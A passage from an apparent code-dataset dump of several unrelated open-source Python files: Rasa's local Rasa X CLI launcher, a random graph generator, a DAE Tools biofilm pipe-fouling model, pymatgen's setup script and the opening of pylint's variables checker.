jwt_secret=args.jwt_secret, jwt_method=args.jwt_method, ssl_certificate=args.ssl_certificate, ssl_keyfile=args.ssl_keyfile, ssl_ca_file=args.ssl_ca_file, ssl_password=args.ssl_password, ) def _prepare_credentials_for_rasa_x( credentials_path: Optional[Text], rasa_x_url: Optional[Text] = None ) -> Text: credentials_path = rasa.cli.utils.get_validated_path( credentials_path, "credentials", DEFAULT_CREDENTIALS_PATH, True ) if credentials_path: credentials = rasa.shared.utils.io.read_config_file(credentials_path) else: credentials = {} # this makes sure the Rasa X is properly configured no matter what if rasa_x_url: credentials["rasa"] = {"url": rasa_x_url} dumped_credentials = yaml.dump(credentials, default_flow_style=False) tmp_credentials = rasa.utils.io.create_temporary_file(dumped_credentials, "yml") return tmp_credentials def _overwrite_endpoints_for_local_x( endpoints: AvailableEndpoints, rasa_x_token: Text, rasa_x_url: Text ) -> None: endpoints.model = _get_model_endpoint(endpoints.model, rasa_x_token, rasa_x_url) endpoints.event_broker = _get_event_broker_endpoint(endpoints.event_broker) def _get_model_endpoint( model_endpoint: Optional[EndpointConfig], rasa_x_token: Text, rasa_x_url: Text ) -> EndpointConfig: # If you change that, please run a test with Rasa X and speak to the bot default_rasax_model_server_url = ( f"{rasa_x_url}/projects/default/models/tags/production" ) model_endpoint = model_endpoint or EndpointConfig() # Checking if endpoint.yml has existing url, if so give # warning we are overwriting the endpoint.yml file. custom_url = model_endpoint.url if custom_url and custom_url != default_rasax_model_server_url: logger.info( f"Ignoring url '{custom_url}' from 'endpoints.yml' and using " f"'{default_rasax_model_server_url}' instead." ) custom_wait_time_pulls = model_endpoint.kwargs.get("wait_time_between_pulls") return EndpointConfig( default_rasax_model_server_url, token=rasa_x_token, wait_time_between_pulls=custom_wait_time_pulls or 2, ) def _get_event_broker_endpoint( event_broker_endpoint: Optional[EndpointConfig], ) -> EndpointConfig: import questionary default_event_broker_endpoint = EndpointConfig( type="sql", dialect="sqlite", db=DEFAULT_EVENTS_DB ) if not event_broker_endpoint: return default_event_broker_endpoint elif not _is_correct_event_broker(event_broker_endpoint): rasa.shared.utils.cli.print_error( f"Rasa X currently only supports a SQLite event broker with path " f"'{DEFAULT_EVENTS_DB}' when running locally. You can deploy Rasa X " f"with Docker ({DOCS_BASE_URL_RASA_X}/installation-and-setup/" f"docker-compose-quick-install/) if you want to use other event broker " f"configurations." ) continue_with_default_event_broker = questionary.confirm( "Do you want to continue with the default SQLite event broker?" ).ask() if not continue_with_default_event_broker: sys.exit(0) return default_event_broker_endpoint else: return event_broker_endpoint def _is_correct_event_broker(event_broker: EndpointConfig) -> bool: return all( [ event_broker.type == "sql", event_broker.kwargs.get("dialect", "").lower() == "sqlite", event_broker.kwargs.get("db") == DEFAULT_EVENTS_DB, ] ) def start_rasa_for_local_rasa_x( args: argparse.Namespace, rasa_x_token: Text ) -> BaseProcess: """Starts the Rasa X API with Rasa as a background process.""" credentials_path, endpoints_path = _get_credentials_and_endpoints_paths(args) endpoints = AvailableEndpoints.read_endpoints(endpoints_path) rasa_x_url = f"http://localhost:{args.rasa_x_port}/api" _overwrite_endpoints_for_local_x(endpoints, rasa_x_token, rasa_x_url) vars(args).update( dict( nlu_model=None, cors="*", auth_token=args.auth_token, enable_api=True, endpoints=endpoints, ) ) ctx = get_context("spawn") p = ctx.Process( target=_rasa_service, args=(args, endpoints, rasa_x_url, credentials_path), daemon=True, ) p.start() return p def is_rasa_x_installed() -> bool: """Check if Rasa X is installed.""" # we could also do something like checking if `import rasax` works, # the issue with that is that it actually does import the package and this # takes some time that we don't want to spend when booting the CLI return importlib.util.find_spec("rasax") is not None def generate_rasa_x_token(length: int = 16) -> Text: """Generate a hexadecimal secret token used to access the Rasa X API. A new token is generated on every `rasa x` command. """ from secrets import token_hex return token_hex(length) def _configure_logging(args: argparse.Namespace) -> None: from rasa.core.utils import configure_file_logging from rasa.utils.common import configure_logging_and_warnings log_level = args.loglevel or DEFAULT_LOG_LEVEL_RASA_X if isinstance(log_level, str): log_level = logging.getLevelName(log_level) logging.basicConfig(level=log_level) rasa.utils.io.configure_colored_logging(args.loglevel) configure_logging_and_warnings( log_level, warn_only_once=False, filter_repeated_logs=False ) configure_file_logging(logging.root, args.log_file, False) logging.getLogger("werkzeug").setLevel(logging.WARNING) logging.getLogger("engineio").setLevel(logging.WARNING) logging.getLogger("pika").setLevel(logging.WARNING) logging.getLogger("socketio").setLevel(logging.ERROR) if not log_level == logging.DEBUG: logging.getLogger().setLevel(logging.WARNING) logging.getLogger("py.warnings").setLevel(logging.ERROR) def is_rasa_project_setup(args: argparse.Namespace, project_path: Text) -> bool: """Checks if `project_path` contains a valid Rasa Open Source project. Args: args: Command-line arguments. project_path: Path to the possible Rasa Open Source project. Returns: `True` if `project_path` is a valid Rasa Open Source project, `False` otherwise. """ config_path = _get_config_path(args) domain_path = _get_domain_path(args) mandatory_files = [config_path, domain_path] for f in mandatory_files: if not os.path.exists(os.path.join(project_path, f)): return False return True def _validate_rasa_x_start(args: argparse.Namespace, project_path: Text) -> None: if not is_rasa_x_installed(): rasa.shared.utils.cli.print_error_and_exit( "Rasa X is not installed. The `rasa x` " "command requires an installation of Rasa X. " "Instructions on how to install Rasa X can be found here: " "https://rasa.com/docs/rasa-x/." ) if args.port == args.rasa_x_port: rasa.shared.utils.cli.print_error_and_exit( "The port for Rasa X '{}' and the port of the Rasa server '{}' are the " "same. We need two different ports, one to run Rasa X (e.g. delivering the " "UI) and another one to run a normal Rasa server.\nPlease specify two " "different ports using the arguments '--port' and '--rasa-x-port'.".format( args.rasa_x_port, args.port ) ) if not is_rasa_project_setup(args, project_path): rasa.shared.utils.cli.print_error_and_exit( "This directory is not a valid Rasa project. Use 'rasa init' " "to create a new Rasa project or switch to a valid Rasa project " "directory (see " "https://rasa.com/docs/rasa/command-line-interface#rasa-init)." ) domain_path = _get_domain_path(args) _validate_domain(os.path.join(project_path, domain_path)) if args.data and not os.path.exists(args.data): rasa.shared.utils.cli.print_warning( "The provided data path ('{}') does not exists. Rasa X will start " "without any training data.".format(args.data) ) def _validate_domain(domain_path: Text) -> None: from rasa.shared.core.domain import Domain, InvalidDomain try: Domain.load(domain_path) except InvalidDomain as e: rasa.shared.utils.cli.print_error_and_exit( "The provided domain file could not be loaded. " "Error: {}".format(e) ) def rasa_x(args: argparse.Namespace) -> None: from rasa.cli.utils import signal_handler signal.signal(signal.SIGINT, signal_handler) _configure_logging(args) if version.parse(rasa.version.__version__) >= version.parse("3.0.0"): rasa.shared.utils.io.raise_warning( f"Your version of rasa '{rasa.version.__version__}' is currently " f"not supported by Rasa X. Running `rasa x` CLI command with rasa " f"version higher or equal to 3.0.0 will result in errors.", UserWarning, ) if args.production: run_in_production(args) else: run_locally(args) async def _pull_runtime_config_from_server( config_endpoint: Optional[Text], attempts: int = 60, wait_time_between_pulls: float = 5, keys: Iterable[Text] = ("endpoints", "credentials"), ) -> Optional[List[Text]]: """Pull runtime config from `config_endpoint`. Returns a list of paths to yaml dumps, each containing the contents of one of `keys`. """ while attempts: try: async with aiohttp.ClientSession() as session: async with session.get(config_endpoint) as resp: if resp.status == 200: rjs = await resp.json() try: return [ rasa.utils.io.create_temporary_file(rjs[k]) for k in keys ] except KeyError as e: rasa.shared.utils.cli.print_error_and_exit( "Failed to find key '{}' in runtime config. " "Exiting.".format(e) ) else: logger.debug( "Failed to get a proper response from remote " "server. Status Code: {}. Response: '{}'" "".format(resp.status, await resp.text()) ) except aiohttp.ClientError as e: logger.debug(f"Failed to connect to server. Retrying. {e}") await asyncio.sleep(wait_time_between_pulls) attempts -= 1 rasa.shared.utils.cli.print_error_and_exit( "Could not fetch runtime config from server at '{}'. " "Exiting.".format(config_endpoint) ) def run_in_production(args: argparse.Namespace) -> None: from rasa.shared.utils.cli import print_success print_success("Starting Rasa X in production mode... 🚀") credentials_path, endpoints_path = _get_credentials_and_endpoints_paths(args) endpoints = AvailableEndpoints.read_endpoints(endpoints_path) _rasa_service(args, endpoints, None, credentials_path) def _get_config_path(args: argparse.Namespace,) -> Optional[Text]: config_path = rasa.cli.utils.get_validated_path( args.config, "config", DEFAULT_CONFIG_PATH ) return config_path def _get_domain_path(args: argparse.Namespace,) -> Optional[Text]: domain_path = rasa.cli.utils.get_validated_path( args.domain, "domain", DEFAULT_DOMAIN_PATH ) return domain_path def _get_credentials_and_endpoints_paths( args: argparse.Namespace, ) -> Tuple[Optional[Text], Optional[Text]]: config_endpoint = args.config_endpoint if config_endpoint: endpoints_config_path, credentials_path = asyncio.run( _pull_runtime_config_from_server(config_endpoint) ) else: endpoints_config_path = rasa.cli.utils.get_validated_path( args.endpoints, "endpoints", DEFAULT_ENDPOINTS_PATH, True ) credentials_path = None return credentials_path, endpoints_config_path def _prevent_failure_if_git_is_not_available() -> None: """Rasa X uses the `git` package, which will fail to import if git is not available. Git isn't needed locally, which means we can silence this error to allow users to use local mode even if git is not available on their machine. Fixes regression https://github.com/RasaHQ/rasa/issues/7140 """ if os.environ.get("GIT_PYTHON_REFRESH") is None: os.environ["GIT_PYTHON_REFRESH"] = "quiet" def run_locally(args: argparse.Namespace) -> None: """Run a Rasa X instance locally. Args: args: commandline arguments """ _prevent_failure_if_git_is_not_available() try: # noinspection PyUnresolvedReferences from rasax.community import local except ModuleNotFoundError: raise MissingDependencyException( f"Rasa X does not seem to be installed, but it is needed for this " f"CLI command. You can find more information on how to install Rasa X " f"in local mode in the documentation: " f"{DOCS_BASE_URL_RASA_X}/installation-and-setup/install/local-mode" ) args.rasa_x_port = args.rasa_x_port or DEFAULT_RASA_X_PORT args.port = args.port or DEFAULT_RASA_PORT project_path = "." _validate_rasa_x_start(args, project_path) rasa_x_token = generate_rasa_x_token() process = start_rasa_for_local_rasa_x(args, rasa_x_token=rasa_x_token) config_path = _get_config_path(args) domain_path = _get_domain_path(args) telemetry.track_rasa_x_local() # noinspection PyBroadException try: local.main( args, project_path, args.data, token=rasa_x_token, config_path=config_path, domain_path=domain_path, ) except RasaXTermsError: # User didn't accept the Rasa X terms. pass except Exception: print(traceback.format_exc()) rasa.shared.utils.cli.print_error( "Sorry, something went wrong (see error above). Make sure to start " "Rasa X with valid data and valid domain and config files. Please, " "also check any warnings that popped up.\nIf you need help fixing " "the issue visit our forum: https://forum.rasa.com/." ) finally: process.terminate()
RasaHQ/rasa_nlu
rasa/cli/x.py
Python
apache-2.0
17,660
[ "VisIt" ]
9648f8b96379e466bd4c93df03fa8b5647ddcf9a1784c400a102fde436816cda
import io import sys import numpy as np import json import random import hashlib class Graph: def __init__(self, size): self.size = size self.n_chars = int(np.ceil(np.log(size + 1)/np.log(16))) self.node_name_pattern = ('%%0%dx' % self.n_chars) * 2 first_node = self.node_name(0,0) self.active = set([first_node]) self.visited = set() self.links = {} self.visit(first_node) def node_name(self, i, j=None): if j is None: j = i[1] i = i[0] if i < 0 or j < 0 or i >= self.size or j >= self.size: return None return self.node_name_pattern % (i+1,j+1) def all_nodes(self): r = range(0,self.size) return sorted([self.node_name(i,j) for i in r for j in r]) def link(self, a, b): if a == b: return if a not in self.links: self.links[a] = set() self.links[a].add(b) def active_nodes(self): return list(self.active) def neighbours(self, node_name): i = int(node_name[0:self.n_chars], 16) - 1 j = int(node_name[self.n_chars:(2*self.n_chars)], 16) - 1 result = [] for di in range(-1,2): for dj in range(-1,2): name = self.node_name(i+di, j+dj) if name is not None: result.append(name) return set(result) def active_neighbours(self, node_name): return list(self.neighbours(node_name) & self.active) def visited_neighbours(self, node_name): return list(self.neighbours(node_name) & self.visited) def visit(self, node_name): assert(node_name in self.active) assert(node_name not in self.visited) self.active.remove(node_name) self.visited.add(node_name) for node in self.neighbours(node_name): if node not in self.visited: self.active.add(node) def get_links(self): return {i: sorted(list(self.links[i])) for i in self.links.keys()} def dump(self): nodes = self.all_nodes() links = self.get_links() return {nodes[i]: links[nodes[i]] if nodes[i] in links else [] for i in range(len(nodes))} def main(argv=[]): r = range(4,200) p = 2.5 sizes = [int(0.5 + i**p / r[0]**(p-1)) for i in r] n_iter = 1 rand = lambda i: random.randint(0, i-1) #print sizes; return for size in sizes: n_extra_links = int(3 + (0.5*size)**0.9) n_unlinks = int(1 + (0.1*size)**0.7) for iter in range(0,n_iter): graph = Graph(size) while True: nodes = graph.active_nodes() n_nodes = len(nodes) if n_nodes == 0: break node = nodes[rand(n_nodes)] neighbours = graph.visited_neighbours(node) n_neighbours = len(neighbours) assert(n_neighbours > 0) graph.link(node, neighbours[rand(n_neighbours)]) graph.visit(node) nodes = graph.all_nodes() n_nodes = len(nodes) for i in range(0,n_extra_links): graph.link(nodes[rand(n_nodes)], nodes[rand(n_nodes)]) for i in range(0, n_unlinks): node = nodes[rand(n_nodes)] if node in graph.links: del graph.links[node] result = json.dumps(graph.dump(), sort_keys=True) #print result; return h = hashlib.sha1(result).hexdigest() with io.open('graphs/%06d_%s.json' % (size, h[0:8]), 'w', encoding='utf-8') as out: out.write(unicode(result)) if __name__ == '__main__': main(sys.argv)
nikonyrh/graphcycles-python
graphGen.py
Python
apache-2.0
4,173
[ "VisIt" ]
21426684f245e69470820cd707ce694d6059013f0ea9c27bc0df5296fcf0455f
__doc__=""" DaetTools model that describes the behavior of a water flowing in a pipe with the effect of biofim formation. """ from daetools.pyDAE import * from daetools_extended.daemodel_extended import daeModelExtended from daetools_extended.tools import get_node_tree, execute_recursive_method, get_initialdata_from_reporter, update_initialdata, daeVariable_wrapper, distribute_on_domains from pyUnits import m, kg, s, K, Pa, J, W, rad, day from water_properties import conductivity class Biofilm(daeModelExtended): def __init__(self, Name, Parent=None, Description="", data={}, node_tree={}): daeModelExtended.__init__(self, Name, Parent=Parent, Description=Description, data=data, node_tree=node_tree) if not Parent: self.define_variables() self.define_parameters() def define_variables(self): # Variable types mass_biofilm_t = daeVariableType("mass_biofilm_t", (kg ** (1)) * (m ** (-2)), 1e-9, 1e+04, 1e-06, 1e-6) b_t = daeVariableType("b_t", (day ** (-1)), 1e-6, 1e+04, 0.2, 1e-06) rate_t = daeVariableType("rate_t", (kg ** (1)) * (m ** (-2)) * (day ** (-1)), 1e-9, 1e+04, 0.2, 1e-06) fouling_factor_t = daeVariableType("fouling_factor_t", (K ** (1)) * (W ** (-1)) * (m ** (2)), 0.0, 1e4, 1e-3, 1e-9) self.mf = daeVariable("mf", mass_biofilm_t, self, "Biofilm Mass per Area", self.Domains) self.Tbf = daeVariable("Tbf", temperature_t, self, "Temperature of Biofilm", self.Domains) self.vbf = daeVariable("vbf", velocity_t, self, "Velocity over Biofilm", self.Domains) self.Jp = daeVariable("Jp", rate_t, self, "Biofilm formation specific formation rate", self.Domains) self.b = daeVariable("b", b_t, self, "Biofilm formation specific removal rate", self.Domains) self.ratef = daeVariable("ratef", rate_t, self, "Biofilm formation specific removal rate", self.Domains) self.Rfbiofilm = daeVariable("Rfbiofilm", fouling_factor_t, self, "Biofilm fouling factor", self.Domains) def define_parameters(self): lagt = self.data['constants']['lagt'] self.lagt = Constant(lagt*s) self.rhomf = daeParameter("rhomf",(kg ** (1)) * (m ** (-3)), self, "Density of the biofilm") self.mfi = daeParameter("mfi", (kg ** (1)) * (m ** (-2)), self, "Initial biofilm density") self.Ccell = daeParameter("Ccell", (m ** (-3)), self, "Cell concentration (millions per cubic meter)") self.Csubstrate = daeParameter("Csubstrate", (kg ** (1)) * (m ** (-3)), self, "Substrate concentration (kg per cubic meter)") def eq_biofilm_Jp(self): eq = self.CreateEquation("BiofilmJp", "Biofilm Formation Specific Rate") domains = distribute_on_domains(self.Domains, eq, eClosedClosed) Jp = daeVariable_wrapper(self.Jp, domains) Tbf = daeVariable_wrapper(self.Tbf, domains) vbf = daeVariable_wrapper(self.vbf, domains) vast = vbf / Constant(1 * m / s) Tast = Tbf / Constant(1 * K) Jp_27 = (-0.64471142125945 * vast + 1.06584376558659) / (1. + Exp(20 * ((vast - 1.59)))) * Constant(1 * kg / m ** 2 / day) sigmoid = 1 * Exp(0.6221 * (Tast - 315.34)) / (1 + Exp(0.6221 * (Tast - 315.34))) k27_mf = 0.599 k_mf = 1.624e7 * Tast * Exp(-1000 * 13.609 / 1.987 / Tast) * (1 - sigmoid) Ccell0 = Constant( 6e+7 * (m ** -3) ) Csubstrate0 = Constant( 20e-6 * kg * (m ** -3) ) Ccell = self.Ccell() Csubstrate = self.Csubstrate() Jp_model = Jp_27 * (k_mf / k27_mf) * (Ccell / Ccell0) * (Csubstrate / Csubstrate0) eq.Residual = Jp - Jp_model def eq_biofilm_rate(self): eq = self.CreateEquation("BiofilmRate", "Biofilm Rate") domains = distribute_on_domains(self.Domains, eq, eClosedClosed) b = daeVariable_wrapper(self.b, domains) mf = daeVariable_wrapper(self.mf, domains) Jp = daeVariable_wrapper(self.Jp, domains) ratef = daeVariable_wrapper(self.ratef, domains) # ratef_model = (Jp - b * mf) * 0.5 * (1. + Abs(mfmax - mf) / (mfmax - mf)) ratef_model = (Jp - b * mf) eq.Residual = ratef - ratef_model def eq_biofilm_b(self): eq = self.CreateEquation("Biofilmb", "Biofilm Removal Specific Rate") domains = distribute_on_domains(self.Domains, eq, eClosedClosed) b = daeVariable_wrapper(self.b, domains) vbf = daeVariable_wrapper(self.vbf, domains) vast = vbf / Constant(1 * m / s) b_model = 1 / (-1.90687234600855 * vast + 3.03200631969966) * Constant(1 / day) eq.Residual = b - b_model def eq_biofilm(self): self.IF(Time() < self.lagt, eventTolerance=1E-5) eq = self.CreateEquation("BiofilmOFF", "Biofilm - OFF") domains = distribute_on_domains(self.Domains, eq, eClosedClosed) mf = daeVariable_wrapper(self.mf, domains) eq.Residual = mf - self.mfi() self.ELSE() eq = self.CreateEquation("BiofilmON", "Biofilm - ON") domains = distribute_on_domains(self.Domains, eq, eClosedClosed) mf = daeVariable_wrapper(self.mf, domains) ratef = daeVariable_wrapper(self.ratef, domains) eq.Residual = self.dt_day(mf) - ratef / Constant( 24*3600 * s / day) self.END_IF() def eq_biofilm_thermal_resistance(self): eq = self.CreateEquation("BiofilmRes", "Biofil thermal resistance") domains = distribute_on_domains(self.Domains, eq, eClosedClosed) Tbf = daeVariable_wrapper(self.Tbf, domains) P = daeVariable_wrapper(self.P, domains) D = daeVariable_wrapper(self.D, domains) Rfbiofilm = daeVariable_wrapper(self.Rfbiofilm, domains) Tast = Tbf / Constant(1 * K) Past = P / Constant(1 * Pa) kappa = conductivity( Tast, Past, simplified = True) * Constant(1 * (K ** (-1))*(W ** (1))*(m ** (-1))) Di = self.Di() eq.Residual = Rfbiofilm - Di * Log(Di / D ) / (2 * kappa) def eq_ep(self): eq = self.CreateEquation("fDturb", "Turbulent darcy factor") domains = distribute_on_domains(self.Domains, eq, eClosedClosed) ep = daeVariable_wrapper(self.ep, domains) D = daeVariable_wrapper(self.D, domains) epw = self.epw() Di = self.Di() thF = 0.5 * (Di - D) eq.Residual = ep - (epw + 0.2 * thF) def eq_internal_diameter(self): eq = self.CreateEquation("D", "D_internal_flow_diameter") domains = distribute_on_domains(self.Domains, eq, eClosedClosed) D = daeVariable_wrapper(self.D, domains) mf = daeVariable_wrapper(self.mf, domains) rhomf = self.rhomf() Di = self.Di() eq.Residual = D - (Di ** 2 - 4 * mf * Di / rhomf) ** 0.5 def eq_biofilm_temperature(self): eq = self.CreateEquation("Tbf", "Biofilm Temperature") domains = distribute_on_domains(self.Domains, eq, eClosedClosed) T = daeVariable_wrapper(self.T, domains) Ti = daeVariable_wrapper(self.Ti, domains) Tbf = daeVariable_wrapper(self.Tbf, domains) hint = daeVariable_wrapper(self.hint, domains) D = daeVariable_wrapper(self.D, domains) Qout = daeVariable_wrapper(self.Qout, domains) pi = self.pi eq.Residual = Qout - (2*Tbf - Ti - T) * (pi * D * hint) #eq.Residual = T - Tbf def eq_biofilm_velocity(self): eq = self.CreateEquation("vbf", "Biofilm Velocity") domains = distribute_on_domains(self.Domains, eq, eClosedClosed) v = daeVariable_wrapper(self.v, domains) vbf = daeVariable_wrapper(self.vbf, domains) eq.Residual = v - vbf def DeclareEquations(self): daeModelExtended.DeclareEquations(self) self.eq_biofilm() self.eq_biofilm_Jp() self.eq_biofilm_b() self.eq_biofilm_rate() self.eq_biofilm_thermal_resistance()
Jaimenms/celldeposit-condenser
models/biofilm.py
Python
gpl-3.0
8,014
[ "EPW" ]
187bfbd48e99858e0fbd4bd3f4e2ae37b52b51ad7ee57c1ffdec669f4fdbb505
# coding: utf-8 # Copyright (c) Pymatgen Development Team. # Distributed under the terms of the MIT License. import sys import platform from setuptools import setup, find_packages, Extension from setuptools.command.build_ext import build_ext as _build_ext class build_ext(_build_ext): def finalize_options(self): _build_ext.finalize_options(self) # Prevent numpy from thinking it is still in its setup process: if sys.version_info[0] >= 3: import builtins if hasattr(builtins, '__NUMPY_SETUP__'): del builtins.__NUMPY_SETUP__ import importlib import numpy importlib.reload(numpy) else: import __builtin__ if hasattr(__builtin__, '__NUMPY_SETUP__'): del __builtin__.__NUMPY_SETUP__ import imp import numpy imp.reload(numpy) self.include_dirs.append(numpy.get_include()) extra_link_args = [] if sys.platform.startswith('win') and platform.machine().endswith('64'): extra_link_args.append('-Wl,--allow-multiple-definition') long_desc = """ Official docs: `http://pymatgen.org <http://pymatgen.org/>`_ Pymatgen (Python Materials Genomics) is a robust, open-source Python library for materials analysis. These are some of the main features: 1. Highly flexible classes for the representation of Element, Site, Molecule, Structure objects. 2. Extensive input/output support, including support for VASP (http://cms.mpi.univie.ac.at/vasp/), ABINIT (http://www.abinit.org/), CIF, Gaussian, XYZ, and many other file formats. 3. Powerful analysis tools, including generation of phase diagrams, Pourbaix diagrams, diffusion analyses, reactions, etc. 4. Electronic structure analyses, such as density of states and band structure. 5. Integration with the Materials Project REST API. Pymatgen is free to use. However, we also welcome your help to improve this library by making your own contributions. These contributions can be in the form of additional tools or modules you develop, or feature requests and bug reports. Please report any bugs and issues at pymatgen's `Github page <https://github.com/materialsproject/pymatgen>`_. If you wish to be notified of pymatgen releases, you may become a member of `pymatgen's Google Groups page <https://groups.google.com/forum/?fromgroups#!forum/pymatgen/>`_. Why use pymatgen? ================= There are many materials analysis codes out there, both commerical and free, but pymatgen offer several advantages: 1. **It is (fairly) robust.** Pymatgen is used by thousands of researchers, and is the analysis code powering the `Materials Project`_. The analysis it produces survives rigorous scrutiny every single day. Bugs tend to be found and corrected quickly. Pymatgen also uses `CircleCI <https://circleci.com>`_ and `Appveyor <https://www.appveyor.com/>`_ for continuous integration on the Linux and Windows platforms, respectively, which ensures that every commit passes a comprehensive suite of unittests. The coverage of the unittests can be seen at `here <coverage/index.html>`_. 2. **It is well documented.** A fairly comprehensive documentation has been written to help you get to grips with it quickly. 3. **It is open.** You are free to use and contribute to pymatgen. It also means that pymatgen is continuously being improved. We will attribute any code you contribute to any publication you specify. Contributing to pymatgen means your research becomes more visible, which translates to greater impact. 4. **It is fast.** Many of the core numerical methods in pymatgen have been optimized by vectorizing in numpy/scipy. This means that coordinate manipulations are extremely fast and are in fact comparable to codes written in other languages. Pymatgen also comes with a complete system for handling periodic boundary conditions. 5. **It will be around.** Pymatgen is not a pet research project. It is used in the well-established Materials Project. It is also actively being developed and maintained by the `Materials Virtual Lab`_, the ABINIT group and many other research groups. With effect from version 3.0, pymatgen now supports both Python 2.7 as well as Python 3.x. """ setup( name="pymatgen", packages=find_packages(), version="2018.6.11", cmdclass={'build_ext': build_ext}, setup_requires=['numpy>=1.14.3', 'setuptools>=18.0'], install_requires=["numpy>=1.14.3", "six", "requests", "ruamel.yaml>=0.15.6", "monty>=0.9.6", "scipy>=1.0.1", "pydispatcher>=2.0.5", "tabulate", "spglib>=1.9.9.44", "matplotlib>=1.5", "palettable>=2.1.1", "sympy", "pandas"], extras_require={ ':python_version == "2.7"': [ 'enum34', ], "provenance": ["pybtex"], "ase": ["ase>=3.3"], "vis": ["vtk>=6.0.0"], "abinit": ["apscheduler==2.1.0"]}, package_data={"pymatgen.core": ["*.json"], "pymatgen.analysis": ["*.yaml", "*.json"], "pymatgen.analysis.cost": ["*.csv"], "pymatgen.analysis.chemenv.coordination_environments.coordination_geometries_files": ["*.txt", "*.json"], "pymatgen.analysis.chemenv.coordination_environments.strategy_files": ["*.json"], "pymatgen.analysis.hhi": ["*.csv"], "pymatgen.io.vasp": ["*.yaml"], "pymatgen.io.feff": ["*.yaml"], "pymatgen.symmetry": ["*.yaml", "*.json"], "pymatgen.entries": ["*.yaml"], "pymatgen.analysis.structure_prediction": ["data/*.json"], "pymatgen.analysis.structure_prediction": ["DLS_bond_params.yaml"], "pymatgen.vis": ["ElementColorSchemes.yaml"], "pymatgen.command_line": ["OxideTersoffPotentials"], "pymatgen.analysis.defects": ["*.json"], "pymatgen.analysis.diffraction": ["*.json"], "pymatgen.util": ["structures/*.json"]}, author="Pymatgen Development Team", author_email="pymatgen@googlegroups.com", maintainer="Shyue Ping Ong", maintainer_email="ongsp@eng.ucsd.edu", url="http://www.pymatgen.org", license="MIT", description="Python Materials Genomics is a robust materials " "analysis code that defines core object representations for " "structures and molecules with support for many electronic " "structure codes. It is currently the core analysis code " "powering the Materials Project " "(https://www.materialsproject.org).", long_description=long_desc, keywords=["VASP", "gaussian", "ABINIT", "nwchem", "materials", "project", "electronic", "structure", "analysis", "phase", "diagrams"], classifiers=[ "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Development Status :: 4 - Beta", "Intended Audience :: Science/Research", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Topic :: Scientific/Engineering :: Information Analysis", "Topic :: Scientific/Engineering :: Physics", "Topic :: Scientific/Engineering :: Chemistry", "Topic :: Software Development :: Libraries :: Python Modules" ], ext_modules=[Extension("pymatgen.optimization.linear_assignment", ["pymatgen/optimization/linear_assignment.c"], extra_link_args=extra_link_args), Extension("pymatgen.util.coord_cython", ["pymatgen/util/coord_cython.c"], extra_link_args=extra_link_args)], entry_points={ 'console_scripts': [ 'pmg = pymatgen.cli.pmg:main', 'feff_input_generation = pymatgen.cli.feff_input_generation:main', 'feff_plot_cross_section = pymatgen.cli.feff_plot_cross_section:main', 'feff_plot_dos = pymatgen.cli.feff_plot_dos:main', 'gaussian_analyzer = pymatgen.cli.gaussian_analyzer:main', 'get_environment = pymatgen.cli.get_environment:main', 'pydii = pymatgen.cli.pydii:main', ] } )
nisse3000/pymatgen
setup.py
Python
mit
8,570
[ "ABINIT", "ASE", "FEFF", "Gaussian", "NWChem", "VASP", "VTK", "pymatgen" ]
96f0ae552822efefa6aa95331d3ec67c6a6dfc2c84397e51c9e77e7cfe8a4bf6
# Copyright (c) 2003-2012 LOGILAB S.A. (Paris, FRANCE). # http://www.logilab.fr/ -- mailto:contact@logilab.fr # # This program is free software; you can redistribute it and/or modify it under # the terms of the GNU General Public License as published by the Free Software # Foundation; either version 2 of the License, or (at your option) any later # version. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with # this program; if not, write to the Free Software Foundation, Inc., # 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. """variables checkers for Python code """ import sys from copy import copy from logilab import astng from logilab.astng import are_exclusive, builtin_lookup, ASTNGBuildingException from pylint.interfaces import IASTNGChecker from pylint.checkers import BaseChecker from pylint.checkers.utils import (PYMETHODS, is_ancestor_name, is_builtin, is_defined_before, is_error, is_func_default, is_func_decorator, assign_parent, check_messages, is_inside_except, clobber_in_except, get_all_elements) def in_for_else_branch(parent, stmt): """Returns True if stmt in inside the else branch for a parent For stmt.""" return (isinstance(parent, astng.For) and any(else_stmt.parent_of(stmt) for else_stmt in parent.orelse)) def overridden_method(klass, name): """get overridden method if any""" try: parent = klass.local_attr_ancestors(name).next() except (StopIteration, KeyError): return None try: meth_node = parent[name] except KeyError: # We have found an ancestor defining <name> but it's not in the local # dictionary. This may happen with astng built from living objects. return None if isinstance(meth_node, astng.Function): return meth_node return None MSGS = { 'E0601': ('Using variable %r before assignment', 'used-before-assignment', 'Used when a local variable is accessed before it\'s \ assignment.'), 'E0602': ('Undefined variable %r', 'undefined-variable', 'Used when an undefined variable is accessed.'), 'E0603': ('Undefined variable name %r in __all__', 'undefined-all-variable', 'Used when an undefined variable name is referenced in __all__.'), 'E0611': ('No name %r in module %r', 'no-name-in-module', 'Used when a name cannot be found in a module.'), 'W0601': ('Global variable %r undefined at the module level', 'global-variable-undefined', 'Used when a variable is defined through the "global" statement \ but the variable is not defined in the module scope.'), 'W0602': ('Using global for %r but no assignment is done', 'global-variable-not-assigned', 'Used when a variable is defined through the "global" statement \ but no assignment to this variable is done.'), 'W0603': ('Using the global statement', # W0121 'global-statement', 'Used when you use the "global" statement to update a global \ variable. PyLint just try to discourage this \ usage. That doesn\'t mean you can not use it !'), 'W0604': ('Using the global statement at the module level', # W0103 'global-at-module-level', 'Used when you use the "global" statement at the module level \ since it has no effect'), 'W0611': ('Unused import %s', 'unused-import', 'Used when an imported module or variable is not used.'), 'W0612': ('Unused variable %r', 'unused-variable', 'Used when a variable is defined but not used.'), 'W0613': ('Unused argument %r', 'unused-argument', 'Used when a function or method argument is not used.'), 'W0614': ('Unused import %s from wildcard import', 'unused-wildcard-import', 'Used when an imported module or variable is not used from a \ \'from X import *\' style import.'), 'W0621': ('Redefining name %r from outer scope (line %s)', 'redefined-outer-name', 'Used when a variable\'s name hide a name defined in the outer \ scope.'), 'W0622': ('Redefining built-in %r', 'redefined-builtin', 'Used when a variable or function override a built-in.'), 'W0623': ('Redefining name %r from %s in exception handler', 'redefine-in-handler', 'Used when an exception handler assigns the exception \ to an existing name'), 'W0631': ('Using possibly 